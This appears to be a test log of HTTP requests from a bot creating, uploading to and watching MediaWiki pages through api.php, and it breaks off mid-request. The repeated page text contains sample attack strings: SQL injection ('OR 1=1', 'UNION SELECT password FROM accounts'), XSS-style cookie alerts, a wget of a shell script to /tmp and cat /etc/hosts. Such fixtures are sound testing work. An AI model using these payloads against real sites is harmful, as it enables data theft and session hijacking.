{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+Lighthouse+notes&appendtext=%0A%2A+Lighthouse&summary=Lighthouse&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=4%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=227e8770d4f741858b7fffb5f9d306c4"], "body": "--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi Lighthouse.png\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of Lighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout Lighthouse and .htaccess\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--227e8770d4f741858b7fffb5f9d306c4\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api Lighthouse.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdLighthouse\r\n--227e8770d4f741858b7fffb5f9d306c4--\r\n"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=watch&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=6%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+Lighthouse+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1596", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1670", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=8%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 158", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=10%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+python3+notes&appendtext=%0A%2A+python3&summary=python3&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1077", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=12%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=8062372fed124f8b8faa3e89a043b2f7"], "body": "--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi python3.png\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of python3\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout python3 and .htaccess\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--8062372fed124f8b8faa3e89a043b2f7\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpython3\r\n--8062372fed124f8b8faa3e89a043b2f7--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 118", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=14%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+python3+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=16%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 167", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=18%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+powershell+notes&appendtext=%0A%2A+powershell&summary=powershell&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1092", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=20%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=af4292a895f742e1bc67d5fe8c7347bd"], "body": "--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi powershell.png\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of powershell\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout powershell and .htaccess\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--af4292a895f742e1bc67d5fe8c7347bd\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdpowershell\r\n--af4292a895f742e1bc67d5fe8c7347bd--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 121", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=22%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+powershell+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1595", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cg